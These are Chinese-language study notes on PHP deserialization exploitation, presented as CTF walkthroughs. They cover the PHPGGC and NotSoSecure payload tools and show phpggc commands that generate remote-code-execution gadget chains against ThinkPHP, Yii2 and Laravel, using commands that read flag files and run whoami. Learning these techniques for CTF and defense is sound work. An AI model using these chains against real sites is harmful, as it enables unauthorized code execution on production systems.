#知识点:
1、PHP-反序列化-开发框架类项目
2、PHP-反序列化-Payload生成项目
3、PHP-反序列化-Payload生成综合项目
一、演示案例-反序列化链项目-PHPGGC&NotSoSecure(针对框架组件类的反序列化工具)
框架类的反序列化及对应POP链编写是非常复杂的。比CTF那种原生态反序列化源码难很多很多。
利用场景:
当知道目标使用了某个框架及对应版本并且这个框架版本曝过反序列漏洞,那么就可以尝试利用该项目去生成反序列链。
NotSoSecure(综合类)
项目地址:https://github.com/NotSoSecure/SerializedPayloadGenerator
为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python - 原生
如何搭建?
如果还不行
PHPGGC(单项类)
项目地址:https://github.com/ambionics/phpggc //推荐安装在kali上
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。
二、演示案例-反序列化框架利用(phpggc)-ThinkPHP&Yii&Laravel
[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化
这里使用phpggc帮助我们生成一个thinkphp反序列化利用链(假设网上没有相关漏洞POC给你,但是你知道这个版本的thinkphp存在反序列化,你该怎么办)
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url
http://d67438dd-6483-4c05-bc40-1095050b015a.node4.buuoj.cn:81///public/?payload=
CTFSHOW 反序列化 267 Yii2反序列化
弱口令登录
登录后,源码提示泄漏
GET:index.php?r=site%2Fabout&view-source
./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
GET:/index.php?r=backdoor/shell&code=
CTFSHOW 反序列化 271 Laravel反序列化
但是代码中并没有发现Laravel具体版本,没办法就只能一个一个试呗。
./phpggc Laravel/RCE2 system "whoami" --url